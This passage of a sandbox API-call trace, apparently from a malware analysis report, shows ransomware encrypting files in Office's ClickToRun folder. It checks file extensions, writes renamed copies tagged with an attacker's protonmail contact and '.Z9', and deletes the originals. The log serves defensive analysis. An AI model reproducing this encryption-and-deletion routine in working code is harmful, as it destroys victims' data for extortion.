	[0088.063] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1
	[0088.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.063] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.063] lstrlenW (lpString=".doc") returned 4
	[0088.063] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0088.063] lstrlenW (lpString=".docx") returned 5
	[0088.063] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0088.063] lstrlenW (lpString=".pdf") returned 4
	[0088.063] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0088.063] lstrlenW (lpString=".xls") returned 4
	[0088.063] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0088.063] lstrlenW (lpString=".xlsx") returned 5
	[0088.063] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0088.063] lstrlenW (lpString=".ppt") returned 4
	[0088.064] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.064] lstrlenW (lpString=".zip") returned 4
	[0088.064] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString=".rar") returned 4
	[0088.064] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString=".bz2") returned 4
	[0088.064] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString=".7z") returned 3
	[0088.064] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.064] lstrlenW (lpString=".dbf") returned 4
	[0088.064] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.064] lstrlenW (lpString=".1cd") returned 4
	[0088.064] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.064] lstrlenW (lpString=".jpg") returned 4
	[0088.064] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.064] lstrlenW (lpString=".doc") returned 4
	[0088.064] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString=".docx") returned 5
	[0088.064] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0088.064] lstrlenW (lpString=".pdf") returned 4
	[0088.064] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString=".xls") returned 4
	[0088.064] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString=".xlsx") returned 5
	[0088.064] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0088.064] lstrlenW (lpString=".ppt") returned 4
	[0088.064] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0088.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.064] lstrlenW (lpString=".zip") returned 4
	[0088.064] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0088.065] lstrlenW (lpString=".rar") returned 4
	[0088.065] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0088.065] lstrlenW (lpString=".bz2") returned 4
	[0088.065] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0088.065] lstrlenW (lpString=".7z") returned 3
	[0088.065] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0088.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.065] lstrlenW (lpString=".dbf") returned 4
	[0088.065] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0088.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.065] lstrlenW (lpString=".1cd") returned 4
	[0088.065] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0088.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70
	[0088.065] lstrlenW (lpString=".jpg") returned 4
	[0088.065] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0088.065] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0088.065] lstrlenW (lpString="IntegratedOffice.exe") returned 20
	[0088.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0088.065] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1093248) returned 1
	[0088.065] CloseHandle (hObject=0x374) returned 1
	[0088.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20
	[0088.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0088.066] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.066] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.066] GetLastError () returned 0x0
	[0088.066] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0088.498] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0088.532] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xae90, lpOverlapped=0x0) returned 1
	[0088.544] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xaea0, lpOverlapped=0x0) returned 1
	[0088.549] ReadFile (in: hFile=0x374, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.549] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0088.549] SetEndOfFile (hFile=0x35c) returned 1
	[0088.549] CloseHandle (hObject=0x35c) returned 1
	[0089.157] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.157] SetEndOfFile (hFile=0x374) returned 1
	[0089.158] CloseHandle (hObject=0x374) returned 1
	[0089.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0089.196] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1
	[0089.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.196] lstrlenW (lpString=".doc") returned 4
	[0089.196] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0089.196] lstrlenW (lpString=".docx") returned 5
	[0089.196] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0089.196] lstrlenW (lpString=".pdf") returned 4
	[0089.196] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0089.196] lstrlenW (lpString=".xls") returned 4
	[0089.197] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0089.197] lstrlenW (lpString=".xlsx") returned 5
	[0089.197] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0089.197] lstrlenW (lpString=".ppt") returned 4
	[0089.197] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0089.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.197] lstrlenW (lpString=".zip") returned 4
	[0089.197] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0089.197] lstrlenW (lpString=".rar") returned 4
	[0089.197] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0089.197] lstrlenW (lpString=".bz2") returned 4
	[0089.197] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0089.197] lstrlenW (lpString=".7z") returned 3
	[0089.197] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0089.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.197] lstrlenW (lpString=".dbf") returned 4
	[0089.197] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0089.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.197] lstrlenW (lpString=".1cd") returned 4
	[0089.197] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0089.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.197] lstrlenW (lpString=".jpg") returned 4
	[0089.197] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0089.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.197] lstrlenW (lpString=".doc") returned 4
	[0089.197] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0089.197] lstrlenW (lpString=".docx") returned 5
	[0089.197] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0089.197] lstrlenW (lpString=".pdf") returned 4
	[0089.197] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0089.197] lstrlenW (lpString=".xls") returned 4
	[0089.197] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0089.197] lstrlenW (lpString=".xlsx") returned 5
	[0089.197] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0089.197] lstrlenW (lpString=".ppt") returned 4
	[0089.198] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0089.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.198] lstrlenW (lpString=".zip") returned 4
	[0089.198] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0089.198] lstrlenW (lpString=".rar") returned 4
	[0089.198] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0089.198] lstrlenW (lpString=".bz2") returned 4
	[0089.198] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0089.198] lstrlenW (lpString=".7z") returned 3
	[0089.198] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0089.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.198] lstrlenW (lpString=".dbf") returned 4
	[0089.198] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0089.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.198] lstrlenW (lpString=".1cd") returned 4
	[0089.198] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0089.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0089.198] lstrlenW (lpString=".jpg") returned 4
	[0089.198] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0089.198] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0089.198] lstrlenW (lpString="StreamServer.dll") returned 16
	[0089.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.199] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1053784) returned 1
	[0089.199] CloseHandle (hObject=0x394) returned 1
	[0089.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20
	[0089.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.199] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.199] lstrlenW (lpString=".doc") returned 4
	[0089.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.199] lstrlenW (lpString=".docx") returned 5
	[0089.199] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0089.199] lstrlenW (lpString=".pdf") returned 4
	[0089.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.199] lstrlenW (lpString=".xls") returned 4
	[0089.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.199] lstrlenW (lpString=".xlsx") returned 5
	[0089.199] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0089.199] lstrlenW (lpString=".ppt") returned 4
	[0089.199] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.199] lstrlenW (lpString=".zip") returned 4
	[0089.199] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.199] lstrlenW (lpString=".rar") returned 4
	[0089.199] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.199] lstrlenW (lpString=".bz2") returned 4
	[0089.200] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.200] lstrlenW (lpString=".7z") returned 3
	[0089.200] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.200] lstrlenW (lpString=".dbf") returned 4
	[0089.200] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.200] lstrlenW (lpString=".1cd") returned 4
	[0089.200] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.200] lstrlenW (lpString=".jpg") returned 4
	[0089.200] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.200] lstrlenW (lpString=".doc") returned 4
	[0089.200] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.200] lstrlenW (lpString=".docx") returned 5
	[0089.200] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0089.200] lstrlenW (lpString=".pdf") returned 4
	[0089.200] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.200] lstrlenW (lpString=".xls") returned 4
	[0089.200] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.200] lstrlenW (lpString=".xlsx") returned 5
	[0089.200] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0089.200] lstrlenW (lpString=".ppt") returned 4
	[0089.200] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.200] lstrlenW (lpString=".zip") returned 4
	[0089.200] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.200] lstrlenW (lpString=".rar") returned 4
	[0089.200] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.200] lstrlenW (lpString=".bz2") returned 4
	[0089.200] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.200] lstrlenW (lpString=".7z") returned 3
	[0089.200] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.201] lstrlenW (lpString=".dbf") returned 4
	[0089.201] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.201] lstrlenW (lpString=".1cd") returned 4
	[0089.201] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74
	[0089.201] lstrlenW (lpString=".jpg") returned 4
	[0089.201] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.201] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0089.201] lstrlenW (lpString="ucrtbase.dll") returned 12
	[0089.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.202] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=982720) returned 1
	[0089.202] CloseHandle (hObject=0x394) returned 1
	[0089.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20
	[0089.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0089.203] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.203] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.203] GetLastError () returned 0x0
	[0089.203] ReadFile (in: hFile=0x394, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xefec0, lpOverlapped=0x0) returned 1
	[0089.225] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xefed0, lpOverlapped=0x0) returned 1
	[0089.883] ReadFile (in: hFile=0x394, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.883] WriteFile (in: hFile=0x35c, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.883] SetEndOfFile (hFile=0x35c) returned 1
	[0089.883] CloseHandle (hObject=0x35c) returned 1
	[0089.883] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.884] SetEndOfFile (hFile=0x394) returned 1
	[0089.892] CloseHandle (hObject=0x394) returned 1
	[0089.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0089.893] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 1
	[0089.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.893] lstrlenW (lpString=".doc") returned 4
	[0089.893] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.893] lstrlenW (lpString=".docx") returned 5
	[0089.893] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0089.893] lstrlenW (lpString=".pdf") returned 4
	[0089.893] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.893] lstrlenW (lpString=".xls") returned 4
	[0089.893] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.893] lstrlenW (lpString=".xlsx") returned 5
	[0089.893] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0089.893] lstrlenW (lpString=".ppt") returned 4
	[0089.893] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.893] lstrlenW (lpString=".zip") returned 4
	[0089.893] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.893] lstrlenW (lpString=".rar") returned 4
	[0089.893] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.894] lstrlenW (lpString=".bz2") returned 4
	[0089.894] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.894] lstrlenW (lpString=".7z") returned 3
	[0089.894] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.894] lstrlenW (lpString=".dbf") returned 4
	[0089.894] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.894] lstrlenW (lpString=".1cd") returned 4
	[0089.894] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.894] lstrlenW (lpString=".jpg") returned 4
	[0089.894] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll") returned 70
	[0089.894] lstrlenW (lpString=".doc") returned 4
	[0089.894] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.894] lstrlenW (lpString=".docx") returned 5
	[0089.894] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
